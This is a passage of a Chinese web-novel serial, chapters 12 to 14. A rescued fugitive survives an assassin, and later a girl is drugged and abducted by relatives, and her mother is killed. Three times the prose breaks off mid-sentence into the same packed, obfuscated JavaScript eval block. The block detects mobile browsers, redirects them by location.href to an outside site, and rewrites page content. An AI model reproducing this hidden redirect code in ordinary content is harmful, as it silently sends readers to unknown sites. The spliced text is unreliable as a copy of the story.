“我看你是连‘羞耻’二字都不知怎么念了！黄白之物看得比命还重，自家侄女儿却视如死物。”林氏痛心疾首，“你年轻时也是谁见着都要夸一句贤良的人，老来怎么变成这副见钱眼开的孬种模样？” 徐氏被人指着鼻子骂得狗血淋头，一转头看见周缨闲倚在墙壁上看她笑话，气得一佛出世二佛升天，不敢骂家中有男人撑腰的林氏，便一跺脚骂周缨：“你这小蹄子，早晚有你后悔的时候！”说罢瞥见黑豆又在一旁虎视眈眈，吓得屁滚尿流地疾步逃了。 林氏这才拉过周缨的手，轻轻拍了拍：“你这伯母是个老糊涂的东西，这副嘴脸着实可恶，但愿你伯父明些事理，不要胡乱为了几个臭钱就干出卖侄女儿的勾当来。” 周缨垂目，淡声道：“我娘还在，我的亲事还由不得他们做主。” “可你娘，”林氏话说到一半，叹道，“罢了，往后再说。若这俩人当真财迷心窍，我和你成叔必然护着你，请族老替你做主，阿缨不怕啊。” 周缨鼻尖一酸，请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418875|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她去耳房坐：“婶婶怎么来了？” “衙役搜到我家去了，我本想着那逃犯从后山上摔下来，应当不死也残，没什么大事。”林氏顿了一顿，“但有个捕快不知为何问了许多关于你们娘儿俩的事，我心里发慌，便想着过来看看。” 周缨笑笑，不甚在意地说：“我家离那儿最近嘛，怀疑我也是应当的。只是一个大男人，我家中这样，怎么好收留他的。查不到证据，官府也没有随便抓人的道理，婶婶放心。” “那便好。不过也不知人到底是不是真摔进河里了，要是只是暂时藏起来了，你家偏僻些，万一遇上歹徒，实在也……这样，我叫你成叔过来守上两日，等确认没事了再回家。” 周缨连连阻拦：“官府都说是十七那日的事了，这么冷的天儿，若真侥幸没摔死，在山里也早就活活冻死了。说句不怕您多心的话，我家就我和我娘两人，成叔过来也不合适，容易惹闲话。” “也是。瞧我这脑子，做起事来顾头不顾尾，那便罢了，你自己当心，万一有事记得来找我和你成叔。”听她应下，林氏又问，“你娘好全了么？我瞧瞧她去。” 周缨将她往杜氏房间引：“寒症好全了，其他的，也就是平常那样了。” 叙话几轮，周缨留林氏吃晚饭，林氏不肯，她也不强留，将人送出院门外，回来着手做晚饭。 等吃过饭安顿杜氏睡下，周缨也不急着动作，在檐下听了半宿的风声，回房安安稳稳地睡了一觉，第二日早间便背上背篓去后山照看茶树，顺带捡柴。 吕三派人暗中蹲守了一整日，都没见着异常，反叫她折腾得怨声载道，迫不得已鸣金收兵。 等将近入夜时分，在沙河岸边搜寻的衙役也无功而返，此事便定性为囚犯失足坠河失踪，暂且告一段落了。 周缨依旧谨慎，耐心再等待了两日，到小年那日官府张贴告示闭门休沐，确认再无风险，将近入夜时分，才沿着山道进入侧柏林。 她进到洞穴中时，崔述正坐在榻边倒水，预备盥洗休息，瞧见她来，愣了一下方说：“遮掩过去了？” 周缨颔首：“应当没事了。官府今日闭门，一直到上元日过后才会重新理事，你家人可以趁机带你离开，便算彻底安全了。”说完又纳闷儿道，“但你家人怎么还没跟来，难道官府闹出这么大阵仗，你家人却还在睡梦中不成？” 心中沉甸甸的巨石彻底坠下，她此刻脸上神色放松，暗室似也添了两分柔和。 崔述拧干手中巾帕递给她，唇边无意间也带了丝浅淡的笑意：“擦擦吧。” “哪里脏？”周缨接过帕子，却不知何意，只好等他指示。 崔述抬手指了指自个儿的右脸颊，周缨与他相向而立，顺势往自个儿左脸擦去，他不由一笑，指向她的右颊。 周缨失笑，抬手去擦方才在林间穿梭时染上的脏污。 箭矢破空之声在此刻传来，崔述猝然抬眼，一支自弯道处射出的弩箭疾刺而来，正正对向周缨的后背。 12. 飞蓬向远（四） 深夜幽穴，阒寂无声，唯有气流被骤然撕开一道狭长的口子，四散涌动避逃。 此箭快若流星，周缨不及作出反应，正自仓皇间，左腕陡然被人扣住，旋即一股大力将她拽偏，身子斜摔出去的瞬间，箭身擦着她的脸颊快速掠过，径直没入床榻上方的石壁中。 周缨扶着山壁稳住身子，惊魂甫定地看向暗处的石壁，其上箭尾犹在嗡嗡颤鸣。 周缨犹觉身子发软，深吸口气，向崔述投以感激的一瞥。 方才动作幅度太大，牵扯到腿上的伤，剧痛令崔述额间冷汗涔涔。留意到她投过来的目光，崔述忍疼向她颔首，示意她安心，随即转头看向来人。 一击不中，以黑布遮面的来人再次平举右臂，缚在小臂上的弩机蓄势待发。动作不疾不徐，鹰眼中却流露出毫不掩饰的杀意。 “道全。” 崔述准确无误地叫出来人的名字。 羽箭即将离弦，却在此刻不易觉察地轻颤了一下。 崔述了然，极轻地叹了一声：“致仁就这般容不得我，设法逐我出京尚不够，非要我身首异处才能彻底放心？” 周缨闻言往这边看来，因听不懂他话中纠葛，目露探询之色。 不速之客取下面巾，向崔述谦卑颔首。 被道破身份后，道全目中杀气尽敛，甚至带着些许平和与恭敬，然而左手仍旧平举持高，箭矢一分不偏地对准崔述胸膛。 “小的不过奉命行事，并不知崔三郎与我家主人有何渊源，故不能回答此问，还请见谅。” “也罢。”崔述淡淡苦笑，斜觑周缨一眼，而后目光凝在前方泛着冷光的箭镞上，平声道，“不得取无辜之人性命。” “方才不过因欲先发制人而误判形势，崔三郎放心，此言道全谨记，定不敢擅作主张多造杀孽。” 方才如此笃定出言，也是清楚他家主人的性子，知他不会平白无故滥杀无辜，闻得此言，崔述放下心来，微阖双眼，等待弦响。 方才受崔述之恩，被他从鬼门关拉回，周缨见他竟安然赴死，下意识地往前急奔一步，欲要阻拦，忽地瞥见他微微抬起的左手，又生生顿住了动作。 “哧”的一声，箭矢没入血肉的声音传入耳中。 幽室静谧，仅有一盏油灯用以照明，盛着灯油的灯碟被箭风带翻，室内倏然陷入黑暗，仅炭盆里残存的火星透出一丝微弱的光亮。 借着这晦暗的光线，周缨恍惚间看见崔述所在的方向仍有一团雾影还好端端地站在原处，那身影虽因痛楚而微屈，但并未脱力坠倒，再回头看去，拐角处的不速之客已猝然栽倒在地，才缓缓回过味来，原来并不是他用以防身的暗器所致，而是救兵到了。 她站直身子，看向沿着窄道进到拐角处的两人。 二人逆光而行，身形轮廓隐约可辨，要确认身份却有些困难，但从方才行事来看，必是他口中所说的家人了。 来者是崔述的两名亲随，一名奉和，一名束关。 二人向崔述叩首，一名个头稍矮的解释道：“此人并非独自行动，外头还有埋伏，小的们被绊住，不得不先解决外头的麻烦，故才来迟，险些酿成大祸，还望郎君降罪。” 应是早就料到如此情景，崔述并未多问，也未苛责，抬手叫起，吩咐二人先将内外痕迹处理干净。 轻微的脚步声逐渐远去，暗室里恢复初始的静寂。 幽暗的空间里，炭火蓦地轻爆了一下。 光线乍然亮了三分，崔述侧身看了周缨一眼，缓步走至她跟前，弯腰拾起坠落的灯碟，将棉线制成的灯芯理顺搭在碟口边沿，取火折子引燃灯芯。 烛火毕剥了一下，灯花轻轻爆开。 灯油几乎倾倒完毕，仅底部残存些许，火势微弱，扑闪间忽明忽灭。 周缨慢慢回过神来，随他投过来的目光往下看，方注意到自个儿仍旧握着那方帕子，只是热气早就散尽，已然冰凉如铁。 她往前走了一步，打算将巾帕放回盆中，崔述自她手中接过，歉然道：“因我旧怨，累姑娘涉险，还请恕罪。” “我当初出手相帮时就想到过这情况，所以还好。”周缨心绪已渐渐平宁，淡道，“只是那时以为撞上的会是县衙官差，没想到会是你的私敌。” 腿上的伤疼得厉害，崔述扶着榻沿坐下来，取炉上水壶往盆中新注入一半热水，躬身仔细清洗巾帕，拧干递给周缨。 周缨接过，往他先前所说的位置胡乱擦了两下。 温热之感循着肌理缓缓传入心房，周缨终于确认此事已然结束，往后不必为此提心吊胆，心中缓缓松快下来。 “这十日，多谢姑娘照顾。”崔述目光沉沉地看着她。 这显然是辞别之意，周缨简单“嗯”一声，示意她知道了，并未过多客套。 “你日后有何打算？” “嗯？”周缨一怔，不知他为何如此发问。 崔述开口略显迟疑：“上回无意窥听见你家中私事，你伯母颇为强势，你可会被刁难？若有需要，我可助上一臂之力，以还今日之恩。” “我阿娘在，婚事他们做不得主的。”看他素日行事做派，再看今日这二人的身手，周缨知晓他应当有这样的本事，不是虚言，但她素来没有依赖旁人的习惯，何况她即将离开，徐氏奈何不得她，于是淡道，“再说我也将离开此地了，她的如意算盘成不了的。” 崔述微愕：“离开此地？你打算去哪儿？” 问完又觉得此问有些唐突，但也未找补，反而更为坦荡地看着她，静等着答案。 周缨迟疑片刻，从怀中取出那张泛黄的纸，缓缓摊开递给他：“说到这个，有一事想请你帮忙。” 崔述接过这张年份久远的纸笺，凝神看去，其上只记载着简单的几字，疑惑地看向周缨。 “能不能请你告诉我，纸上写的是什么。” 的确是个不识字的农女罢了，崔述垂眸，刻意放缓速度，一字一顿地念出纸上的字——“棠县，周宛，父周秉全，母裴润。” “哪个宛字？” “宛如。”崔述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418876|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取过一枝冷杉，在地上勾画出一字。 周缨同他道谢，并未多言。 “你要去此地？” 周缨几乎在顷刻间便做下决定，“嗯”了一声。 “棠县在宁州，地处北方，从平山县一路往北，马车出行，路上若无意外，需一个半月，食宿中等的话，两人需盘缠近二十两。按你娘的状况，若要舒适些，恐怕要翻番。” 周缨垂目看着手中的巾帕，视线聚焦在她刚擦上去的一小团脏污上，平声道：“好，我知道了。” 平心而论，崔述心内难免讶异，贫瘠之地见识浅薄的农女如此突然地说要离开生长之地去往外地，确实并不常见。但他想了一想，并未追问缘由，只征求她的意见：“棠县距玉京不远，我要去一地办事，事成后立即折返玉京，你若愿意，可与我同行，如何？” 见周缨不出声，他又解释道：“放心，我并无其他意思，只是女子在外多有不便，我将绕行之地又不远，不会耽误太久，故才出此言，你可以认真考虑一下。” 周缨蹲身，将巾帕放入盆中，缓慢搓洗起来，水流撞壁之声哗哗响起，她絮语道：“你既有事在身，我带着我娘一道终归不方便，好意我心领了，但不必麻烦。” 她既如此坚持，崔述也不好再劝，便道：“也好，你何日动身？” 周缨盘算了下，笑着说：“原本可能还要耽误些时日攒盘缠，但你这财神爷自己送上门来，有你先前答应的报酬在身，等上元过后官府开衙办完凭由就走吧。” 她不因开口索财而赧然，反而落落大方，崔述没忍住一笑：“这是自然，劳神费力这些时日，纵是雇人也该有重酬，此酬姑娘应得。” 奉和自外头进来复命，崔述从他手中要来银票，留够他们三人的盘缠后，将其余厚厚的一沓一并递给周缨。 周缨辞不肯受：“说好八十两便八十两，我不贪心，先前同你说过的。” 僵持片刻，崔述递过来几张散票：“面值总共只有百两，出门在外，散票方便些，你留着吧。” 周缨将手中巾帕放下，站起身来，在身上擦干手，用两指取过：“也好，你我两清了。” 崔述颔首，转头吩咐亲随：“束关，等年后，你回此地，护送这位姑娘去往棠县。” 束关沉声应是。 周缨还要推辞，崔述道：“我有要事在身，需要他一同前往沧州几日，不然此刻便会将他留下。你不必再辞，倘若你不喜生人同行，他会藏于暗处，不会现身扰你。” 相逢以来，他惯来言语温和有礼，令人如沐春风，当下这一番话却强硬有加，根本不容人有分毫拒绝。 周缨思虑片刻，不再推辞：“既然如此，多谢。” 崔述面色稍霁。 “夜深了，山路不好走，这儿物什还算齐全，你们三人在此再歇一晚，天亮之后再自行下山治伤吧，我就不送了。” “好。” 周缨往外走去，将过拐角时，转头看了崔述一眼，而后不再停留，径直往来路去了。 13. 郊野冻草（一） 冬寒凛冽，雪势复起，山间小镇满目皆白。 新岁将至，周缨将屋里屋外打扫一新，满心欢喜地准备年夜饭。 等肉食出锅，她拿碟子盛了一半，用竹篮装好送到五里坪，和杨成夫妇互相问好道贺以后，返回家中预备开饭。 今夜菜式丰盛，杜氏屋中常用的小几无法摆全，周缨破例就在厨房的大八仙桌上摆饭，等一切准备就绪后，将杜氏搀扶过来就座。 灶旁燃着火，门窗闭合，屋内暖和，黑豆安静地趴在桌下，眼珠子却随周缨的动作转来转去，只等着盛宴开始。 周缨夹了两块骨头扔至它跟前，黑豆将骨头捧握在嘴边，专心致志地啃着。 周缨笑看了片刻，搓搓因浆洗太多而泛红蜕皮的手，替杜氏夹了两块她往日最喜欢的酥肉：“阿娘，现炸的，味道好些，你尝尝。” 过往数年间，母女二人相依为命，从未有过如此丰盛的年夜饭，杜氏不知缘由，脸上却挂着笑，乐呵呵地挑自己最爱的菜吃。 周缨替她盛了半碗米酒，笑说：“年夜喝这个也是极好的。” 杜氏接过，仰头喝过一口，满足地冲她笑笑，惹得周缨唇角微扬。 酒饭过半，周缨趁杜氏吃得认真，冷不防地试探唤了一声：“周宛？” 杜氏起初无甚反应，周缨再唤了一声，便见她执筷的手动作停滞了下来。 “原来你忘了这么多东西，却还记得你的名字。”周缨浅浅笑了一下，“阿娘，等上元过了，我去官府办好凭由，带你回家好不好？” 杜氏没出声。 “带你回棠县，去找你的爹娘，好不好？”周缨语调放得极轻，似在哄小孩。 杜氏没有接话，却破天荒地多喝了半碗米酒，以至于染了醺意。 周缨扶她回房歇息，坐在榻沿看向她布满风霜的脸，微屈上身，将右颊贴在她颈侧，轻轻地叹了一声。 回到厨房坐了片刻，炉上水沸，咕噜噜地往外冒着白汽，周缨轻抚着黑豆的背，看了须臾，神思逐渐恍惚起来，脑中渐有眩晕之感，顿觉不妙，恰巧门口传来窸窸窣窣的杂音，周缨心头一凛，摇头迫自己保持清醒，凝神看向那扇老旧木门。 徐氏刻意压低的尖刻声音从门缝传进来：“你这烟到底管不管用？这么久了，也不知道晕没晕。” 周缨定睛往门口看去，门板下方果然伸进来一支竹管，正往外冒着白烟。 她举袖捂住口鼻，听见自个儿大伯父犹疑不定的声音：“老婆子，要不别干了，这事总归缺德。弟妹人还在，咱们就这么悄悄把阿缨嫁了，说起来也不占理，何况这大过年的。” “干都干了，你怕什么？就她娘那个样，她还能说到门什么好亲事不成？又当真能为她的婚事做主不成？咱们这也是为她娘俩儿好，嫁过去别的不说，至少吃穿不愁。”徐氏声调陡然一高，“再说了，你这会儿充什么好人，你当年悄悄上官府告人家毒害你弟弟的时候怎么不当好人了？” 被人揭了老底，杨固的声儿低了下去。 徐氏意犹未尽地骂骂咧咧：“我警告你，别给我拖后腿，我都和赵铁匠谈好了，就是要趁着过年官府不理事，将人送过去。等过完年，生米早煮成熟饭了，这小贱蹄子定也不敢声张，何况去报官。你要不敢动人，就给我盯住了她那只小畜生，别叫它咬人。” 徐氏说完，重重将门推开。 门板撞到墙上，激起一阵飞灰，徐氏刚抬手一挡，肩上就挨了结结实实的一棍。 周缨提着一根粗壮的榆木棍站在门后，眼神不善地盯着她，黑豆跟在她脚边，狂叫起来。 徐氏怒火中烧：“你这什么破烟，连个女人都药不倒！”将袖子一捋，吼杨固道，“过来搭把手！” 杨固被吼得一激灵，手中的石块当头砸下，黑豆被药得行动迟缓，未能躲开，血迹顺着脑袋蜿蜒往下。 周缨原本迷迷瞪瞪的，被这一幕骇到，登时清醒了三分，瞥见徐氏气势汹汹地朝自个儿走来，用尽全力再次举棍，只是这回木棍还没落下，就被有了防备的徐氏一把夺过，反手在她身上抽了两棍，将她打倒在地。 周缨挣扎着想要起身，勉强试了几次，手肘处的衣物都已蹭得肮脏不堪，还是只能半跪着撑起半个身子，站不起身。 徐氏上前将她一脚踹倒，取下腰间缠着的粗麻绳，使劲儿将她双臂扭了：“就知道你这贱蹄子不老实。反了天了，竟敢打你伯母。” 杨固在一旁看着没动作，徐氏怒气更盛，边将周缨四肢扭在一处绑紧，边呵斥他：“就你会做好人！你不贪那十两银子，你跟来做什么？赶紧滚去找个厚实的麻袋来。” 杨固被她一喝，如梦初醒，赶紧举着灯碟四处照看。 灯盏被拿走，仅剩地上的火堆照亮，周缨躺在地上，面庞被近在咫尺的火光烘得亮亮的，耳畔是黑豆痛苦的呻吟声，只得睁圆了双目，死死盯着徐氏。 徐氏被这眼神看得心虚了片刻，不过须臾，又啐她一口：“早让你听话，三家皆大欢喜不好？等你嫁过去，你娘再一死，你爹留下的这些东西都归了我，岂不对谁都好？非要作孽。” 药效渐起，周缨眼皮沉重得支撑不住，逐渐耷拉下来，再无反抗之力，只能试图和她讲和：“我有钱，你放了我，我给你更多。” “你能拿得出十两银子？唬谁呢？一年到头忙活得像头老黄牛，能攒够几贯钱？”徐氏冷嗤一声，随手扯过条布巾浸过水，在周缨脸上胡乱揩了两把，反手团成团塞进她嘴里，不许她再出声。 “这老东西买药都不舍得买点好的。”见周缨死死盯着她，徐氏怒从中起，反手在她脸上拧了一把，讽道，“难怪瞧得上你，这么一看，长得倒也还算不赖。” 两人合力将周缨装进麻袋，杨固把麻袋扛在肩头，正要出去，徐氏忽然叫住他：“等等。” “怎么？” 餐桌上的碗筷尚未收拾，徐氏观察了片刻，纳闷儿道：“他们家不可能吃得起这么好的东西，难道这死丫头没骗我，她当真有钱？” 杨固嘁道：“这丫头是勤快，但毕竟就她一个劳力，能攒出多少银子来？” 徐氏听到这话倒不乐意了，指挥他将麻袋放下，将人再搜一遍。 被翻来倒去地折腾得厉害，周缨痛苦地低哼出声，杨固埋着头不敢与她直视，边在她身上摸索，边劝道：“丫头，别怪大伯父，有钱人家看得上你，是你的福气，你要知足。” 徐氏到周缨卧室里翻箱倒柜一阵，寻出那只旧荷包，倒了个底儿朝天，也只翻出来二两碎银，徐氏气不过，抬脚就使劲儿踹了麻袋一脚：“这小贱人，果然又骗我，我当她除了卖身，还有什么法子能挣够十两呢，还好没被她糊弄。”说着便将荷包往旁一扔，碎银则塞进怀里，眼角得意地挑了挑。 杨固将人重新装回麻袋，先一步扛着出去，徐氏在后头熄灭灯火，临走时没忘往奄奄一息的黑豆身上也踹了一脚：“混账东西，叫你咬我，活该！” 光线晦暗，杨固出门时没留意，踩中方才自个儿设下的竹管，脚下一滑，人往前扑去，肩上的麻袋也重重摔出去，落在雪地里，惊起“砰”的一声响。 杨固心下发慌，徐氏稳住他：“没事，她娘一直睡得早，再说就算醒了也没事，她能认出我们是谁，在干什么？” 听她如此说，杨固放下心来，将麻袋重新捡起扛回肩上，催促徐氏快点走。 徐氏迈大步子往外跑，边疾走边不忘埋怨：“关键时候都抠门儿，买烟都不知道买好点的。” “杳杳，杳杳……” 主屋门在此刻忽地被打开，杜氏赤脚蹒跚地走出来，和行事诡异的二人撞了个正着，却只停留了片刻，便径直奔往厨房，口中仍在喊着周缨的乳名。 徐氏慌张道：“快点，别理那疯子。” 杜氏去厨房没寻到周缨，又去卧房找了一圈，一无所获，忽然意识到什么，看向逃至院门口的两个生人，喊道：“杳杳呢？” “没看到，快回去睡觉，天亮她就回来了。”徐氏头也不回地糊弄道。 杜氏沉默片刻，似是信了她的鬼话，正要转身回房，黑豆忽然颤颤巍巍地跟了出来，在厨房门口蓄力了须臾，随即用尽全力冲向徐氏，在她腿上狠狠咬下。 徐氏躲闪不及，痛得撕心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418877|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂肺地喊叫，原地转了几圈儿，又踢又打，黑豆始终不肯松口，只死死咬住她的裤管。 杨固见状，赶紧将肩上的麻袋往旁一扔，捡来一块石头，冲着黑豆脑袋再次猛砸了几下。 黑豆喉间发出一声怪响，嘴上终于卸了力，缓缓瘫倒在雪地里，嘴上还死死咬着一大块鲜血淋漓的生肉。 巨痛难捱，徐氏在雪地里又哭又嚎，指使已经看怔的杨固：“还愣着干什么，把人先藏起来，再来背我回去，晚些再拿这小蹄子去换钱。” 杨固猛地点了一下头，扛起周缨就往外跑，刚冲到院门，就听徐氏凄惶大喊：“救我！” 他一返身，就瞧见杜氏已从檐下走进院中，此刻距离徐氏不过一步之遥，手中还拿着方才他用来砸黑豆的那块石头，上头沾染的血正汨汨往下流，坠入雪地，须臾间便消了踪迹。 疯疯癫癫的女人，拿着一块刚取了一条畜生性命还滴着血的石头，赤脚走在雪地里。 这场景实在诡异得骇人，杨固仿佛被定在原地，徐氏也不敢再出声，怕将这疯子激得彻底失了智，只敢哆哆嗦嗦地拖着伤腿往外爬，一身滚满了黑豆的血迹。 黏腻的、腥臭的鲜血糊在她身上脸上，令她不住地干呕起来。 杜氏赤脚往前，手中的石块准确无误地砸在徐氏后脑勺上。 徐氏发出一声痛苦的闷哼，旋即没了动静。 杨固心中大骇，连连往外疾退，杜氏大步紧追而去：“杳杳呢？我听见她的声音了，是不是你们要害她？” “弟妹。”杨固连连唤她，试图唤起她的神智。 杜氏不为所动，紧跟着往前追，丝毫不觉脚下冰冻之寒。 麻袋里逸出一丝轻微的呻|吟声。 “杳杳。”杜氏声音急切，眼神定在轻微起伏的麻袋上。 杨固恍然回神，反手将麻袋往前一扔，冲杜氏喊道：“拿去，你女儿。” 杜氏将石块一扔，半跪在雪地里，颤着手去解封口的绳子。 药效未过，兼被反复抛扔重击了几次，周缨头还晕得厉害，又受了伤，力气尚未恢复，此时看到杜氏，想冲她露出一个安慰的笑。杜氏手忙脚乱地扯下她嘴里的布团，周缨柔柔地唤她一声：“阿娘，我没事，对不住，吓到你了。” 杜氏点点头，呓语似地道：“没事就好，没事就好。谁敢伤你，我都不会放过他，当年我能杀了那混账——” “竟然是你！”杨固原本趁机混去院中查看徐氏的状况，见人早已咽了气，正准备悄悄遁走去报官，谁知忽然听到她这么一句，顿时爆喝一声，“我那弟弟竟然真是你杀的！你个毒妇，蛇蝎心肠，当年竟将官府也蒙骗了去，我今日必叫官府将你们娘俩儿抓了去，判一个死刑，好给我弟弟和老婆子陪葬。” 周缨转头看他，见他眼尾猩红，知他人已到了失去理智的边缘，心道不好。 杜氏缓缓站起身来，重新捡起院中的石块，向杨固走去。 杨固慌不择路，往院中退去，试图用言语恐吓这疯子：“你别乱来，我警告你，你要乱来，我必让你女儿偿命。” 这话反倒激得杜氏眼睛一红，举起石块便往他身上猛砸，杨固被这中邪的疯妇砸得满身是血，满院奔逃，被徐氏的尸身绊了个大马趴，险些一头栽在墙角堆放着的钉耙上。 周缨慌张大喊：“阿娘，快让开！” 然而却已来不及了，杨固抓住钉耙借力起身，反手往杜氏头上一砸，登时血流如注。 “不！”周缨痛苦呼号出声。 “你这毒妇，欠我杨家两条人命！”杨固使劲吃奶力气将钉耙往前推，杜氏被迫急退，口中咿呀乱语，一口鲜血沤喷出一尺开外。 “噗”的一声，鲜血四溅，钉耙将杜氏捅了个穿，生生钉死在院墙上。 周缨心中大恸，却仿佛被人掐住了咽喉，一丝声音也发不出来。 杜氏身体微微悬空，赤脚散发，鲜血断断续续滴下，染红一大片积雪。 杨固见状，心中惶惶，喃喃道：“我没想，我没想……” 重复了十来遍后，忽然长啸一声，转身奔向院门，逃命而去。 14. 郊野冻草（二） 四周忽然清静下来，周缨仿佛神魂抽离，塑像一般被冻在原地，丁点动静都无。 半刻过后，风扬碎雪，劈头盖脸地砸了一身，才令她终于清醒过来，挣扎着往篱笆栏挪去。 四肢被缚，行动迟缓，身下积雪逐渐融化，满地泥泞蹭到身上，脏污满身，她却浑然不觉，眼中再无他物，只挣扎着向杜氏爬去。 不远的距离，她耗费了足足一刻有余，才终于抵达。 杜氏心口的血尚还是温热的，点点滴滴坠下，溅到她脸上，迷了双眼。 “阿娘。”她彷徨而无助地呼唤，声音渐低。 直至身子都要被冻僵时，院外传来一阵混乱的脚步声。 杨成夫妇扭着方才逃跑的杨固过来，一见这副景象，心中惊骇不已，半晌才回过神来。 杨成一拳将人撂倒在地：“我就说你这杂碎鬼鬼祟祟的，准没好事，是你干的？” “不是我，不是我！”杨固抱头鼠窜。 杨成转头看向瑟缩作一团的周缨，连唤了几声“阿缨”。见她已意识模糊，不曾出声回应，遂一把揪住罪魁祸首的衣领，拳头狠狠砸了下去，拳拳到肉，揍得杨固嗷嗷直叫，面目全非，直像滩烂泥似的瘫软在地，奄奄一息，怒气才稍稍平息了一点。 林氏将已经冻晕的周缨拥入怀中，解开绳子抱进室内，提来一壶还未冷尽的温水倒至盆中，替她擦洗身子，好助她尽快恢复体温。 外头吵吵闹闹人声鼎沸，原是杨固奔逃过程中路过五里坪，恰巧撞上出来放炮迎新的杨成，二人寒暄了几句。见他满身带血神色慌张，又是从周缨家这个方向过来的，因素知他们两家人不对付，杨成便留了个心眼，多问了几句。谁知杨固心中有鬼，二话不说便与他扭打起来，不期惊动了附近乡邻。 于是村民纷纷披衣穿靴跟过来，此时见着院中的惨状，纷纷闹嚷起来，有扬声逼问被揍了个半死的杨固真相的，有要没见着影儿的周缨出去解释的，吵吵嚷嚷没个消停。 林氏忍无可忍，“砰”地推开厨房门，站至檐下，叉腰一吼：“吵什么吵，大过年的，出了命案愿意去报官的就去报官，不想帮忙的就赶紧回家过年，存心在这儿碎嘴子看什么热闹，欺负人家只剩下个孤女是不是？” “林婶儿，话也不是这么说。”不知哪个后生小声嘀咕了一句，被素有威信的长辈扬声喝住，只好收了腔。 其余人等陆续住了声，族老站出来主持事宜，安排几个稳重的中年人连夜结伴去报官，另安排剩余人手将院中圈围起来，轮流值守，不让人畜靠近分毫。 - 周缨睁眼时，天际已露出青白色的一线。 帐幔洗得发白，天光与雪光透过薄薄的苎麻布料洒进来，落在她身上。 窗外大雪折枝，簌簌洒落一院白。 她抱膝坐在这张年岁与她相近的架子床上，心里忽然就空了一块。 院中静谧，偶尔传进来一串杂乱的脚步声，间杂着几句含糊不清的人声。 枯坐了片刻，她起身往外走去。 林氏恰从外间拿着一篓子炭进来，见她起了身，惊喜道：“老五家媳妇儿说你冻得厉害，恐怕还要好些时辰才能醒过来，我才说再给你添些炭，果然她这半吊子郎中不靠谱。” “多谢林婶儿，劳烦了。”周缨礼貌客套地冲她说完这话，甚至还抿出了一个淡淡的笑。 林氏心中暗惊，直觉不妙，一时犹疑着顿在原地不敢上前，直到周缨从跟前走过，才猛地将手中竹篓放至一侧柜上，从后抱住了她，恳求道：“阿缨，别去。” “婶儿，那是我娘。”周缨试图推开她。 林氏悲从中来，带了哭腔：“那是个苦命人儿，官府的人刚到，仵作……仵作正准备验尸呢，你不要去，太惨了，不要看。” “没事。”周缨将她扣在自个儿臂上的手指一一掰开，淡声说，“让我去送送。” 林氏让开道，注视着她虚乏无力的背影，终于忍不住落了泪。 院中已被官差接手，年夜里出了这样一起耸人听闻的大命案，被从老婆孩子热炕头的美梦中拉出来，前往这穷乡僻壤查案，各个心里都憋着一股怨气，行事说话全无客气，冷硬地遣散村民，只留下了相关人等听候差遣。 檐下简单搭了一张草席，杜氏就孤零零地躺在上头，盖着一张麻布，仵作伏在她身上验看伤势。 周缨在卧房门口远远看着，目光悲戚地落在她身上。 林氏站在后方，担忧地看着周缨的背影。 小半炷香后，仵作勘验完致命伤，暂作歇息。 周缨走上前，停在草席面前，紧抿双唇，探手将杜氏未曾瞑目的双眼阖上。 一个壮实身躯蓦地停在跟前，遮住了视线。周缨抬头看去，是先前曾来过的那名唤作老金的衙役，冷静地唤了声：“官爷。” “没吓傻？”老金上下打量了她一眼，“命案发生时，只你母女二人和杨固夫妇在场？” 周缨点头。 “行。”老金招手唤手下过来，“看好了，一会儿一并收押，再行问话。” 林氏听得此言，忙制止道：“官爷，咱们阿缨身上又没背人命，大过年的，哪有将人直接收监的道理？再说，她娘这样，她是独女，得替亡人安葬送行。” 老金眼神犀利地盯她一眼：“你也知道是大过年的，官府不受理词讼，若非是命案，我们兄弟才刚返程回县里几日，谁愿意又来受这趟罪。再说杨固一口咬定这命案她也有份，她有没有嫌疑还不好说，只能先行羁押，等开衙再审。结案之前，尸体亦不得下葬，需存放在义庄。” 林氏还要再辩，老金又道：“你别急着替她开脱，据村民的供词，是你们夫妇二人最先发现这起命案，一样跑不掉，等会儿一同回去等着问话。” 缄默已久的周缨出了声：“与他们无关，官爷大可去向杨固求证，当时的确只有我们四人在场，没有旁人。” “官府办案，岂容你一介小民插嘴。”老金喝住她，吩咐将她和林氏分开押去耳房和卧房。 晌午过后，现场勘验完毕，周缨等人被带往平山县衙，分监关押。 - 值此除夕夜，崔述一行将将赶到沧州，稍作休整，便着手处理此行要务。 初十当晚，事情尚无太大进展，崔述仍吩咐束关尽早返程回平山县，束关不肯，崔述只说：“万一她急着动身，你此时回去正 